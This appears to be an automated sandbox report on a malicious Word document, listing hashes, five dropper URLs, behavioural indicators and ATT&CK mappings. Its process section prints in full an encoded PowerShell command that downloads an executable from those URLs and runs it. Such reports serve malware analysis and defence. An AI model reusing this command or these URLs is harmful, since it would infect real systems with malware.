e3dd5f6eed7e4aa90ed1dcf1ed2c88baa464572a7244e758f2b2340c77e7bc9b

General

Target

b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c.doc
Size

174KB
MD5

3f3435d39a58537f153db99e870b30f8
SHA1

dfb5f9bd4524abecb5851021f5c8c574bf8d3658
SHA256

b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c
SHA512

7aac4cb45cf7cb8771a10e587f81c1ba13a489573d8887c08db1271aa088f871ef62a0b4b6097a902663761bbb77fb17c193b6d03a2538786eccd5c613cd678f

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gscrow.com/wp-content/z768/

exe.dropper

http://museubispodorosario.com/wp-includes/6r21947/

exe.dropper

http://theunstoppablesummit.com/wp-admin/w4bsb1t03/

exe.dropper

http://nusantaradatacenter.com/wp-content/upgrade/g2/

exe.dropper

http://blog.nakiol.net/wp-content/f38/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powErSHell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2496	1456	powErSHell.exe

Blocklisted process makes network request 3 IoCs

Processes:

powErSHell.exe

flow pid process

52 2496 powErSHell.exe
54 2496 powErSHell.exe
56 2496 powErSHell.exe

flow	pid	process
52	2496	powErSHell.exe
54	2496	powErSHell.exe
56	2496	powErSHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4652 WINWORD.EXE
4652 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powErSHell.exe

pid process

2496 powErSHell.exe
2496 powErSHell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powErSHell.exe

description pid process

Token: SeDebugPrivilege 2496 powErSHell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4652 WINWORD.EXE
4652 WINWORD.EXE
4652 WINWORD.EXE
4652 WINWORD.EXE
4652 WINWORD.EXE
4652 WINWORD.EXE
4652 WINWORD.EXE

pid	process
4652	WINWORD.EXE
4652	WINWORD.EXE

pid	process
2496	powErSHell.exe
2496	powErSHell.exe

description	pid	process
Token: SeDebugPrivilege	2496	powErSHell.exe

pid	process
4652	WINWORD.EXE
4652	WINWORD.EXE
4652	WINWORD.EXE
4652	WINWORD.EXE
4652	WINWORD.EXE
4652	WINWORD.EXE
4652	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4652

C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
powErSHell -e JABRADcANwA2ADgANQAwADYAPQAnAG0AMAA3ADcAXwA5ACcAOwAkAFUAOQA3ADcAMQA1ADgAIAA9ACAAJwA1ADcAOQAnADsAJAB0ADMAMAAwADYANAAzADIAPQAnAFEAMAA3ADEAMAAxADUAJwA7ACQARwA3ADMAMgA4ADMANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQA5ADcANwAxADUAOAArACcALgBlAHgAZQAnADsAJAB0ADAAMwAyADEANQA2AD0AJwBKADgAOQA1ADcAXwA4ADYAJwA7ACQAegA3ADMAXwBfADQAOAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAGAAVABgAC4AVwBFAEIAYwBsAEkAYABFAG4AVAA7ACQAQQAwADIANQA5ADgANwAwAD0AJwBoAHQAdABwADoALwAvAGcAcwBjAHIAbwB3AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AegA3ADYAOAAvAEAAaAB0AHQAcAA6AC8ALwBtAHUAcwBlAHUAYgBpAHMAcABvAGQAbwByAG8AcwBhAHIAaQBvAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA2AHIAMgAxADkANAA3AC8AQABoAHQAdABwADoALwAvAHQAaABlAHUAbgBzAHQAbwBwAHAAYQBiAGwAZQBzAHUAbQBtAGkAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwA0AGIAcwBiADEAdAAwADMALwBAAGgAdAB0AHAAOgAvAC8AbgB1AHMAYQBuAHQAYQByAGEAZABhAHQAYQBjAGUAbgB0AGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABnAHIAYQBkAGUALwBnADIALwBAAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAG4AYQBrAGkAbwBsAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzADgALwAnAC4AUwBwAGwASQB0ACgAJwBAACcAKQA7ACQAQwAyADYANAA4ADEAMAA0AD0AJwBsADcANgAwAF8AMAAwADcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMwAzADgANwA0ACAAaQBuACAAJABBADAAMgA1ADkAOAA3ADAAKQB7AHQAcgB5AHsAJAB6ADcAMwBfAF8ANAA4AC4AZABvAHcAbgBMAG8AYQBEAGYAaQBMAGUAKAAkAFIAMwAzADgANwA0ACwAIAAkAEcANwAzADIAOAAzADcAKQA7ACQAWQAxAF8ANQBfADcAOAAwAD0AJwBUADUANwA4ADAANgA1ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQARwA3ADMAMgA4ADMANwApAC4AbABFAE4AZwBUAGgAIAAtAGcAZQAgADMAMAAyADUAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACAAJABHADcAMwAyADgAMwA3ADsAJABHADIANAA3ADEAOAA9ACcAYQA5ADIAMgA2ADYAMwAxACcAOwBiAHIAZQBhAGsAOwAkAFYAMQA1ADEAMQA3AD0AJwB3ADkAMQA1ADYANABfACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAOAA0ADQANAA1ADkANAA9ACcATgAwADEANgAwADQANAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2496

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2496-138-0x0000025FB5610000-0x0000025FB5632000-memory.dmp

Filesize
136KB

Download
memory/2496-139-0x00007FFF86A40000-0x00007FFF87501000-memory.dmp

Filesize
10.8MB

Download
memory/4652-133-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-130-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-134-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-135-0x00007FFF708F0000-0x00007FFF70900000-memory.dmp

Filesize
64KB

Download
memory/4652-136-0x00007FFF708F0000-0x00007FFF70900000-memory.dmp

Filesize
64KB

Download
memory/4652-137-0x000001F644B90000-0x000001F644B94000-memory.dmp

Filesize
16KB

Download
memory/4652-132-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-131-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-141-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-142-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-143-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download
memory/4652-144-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads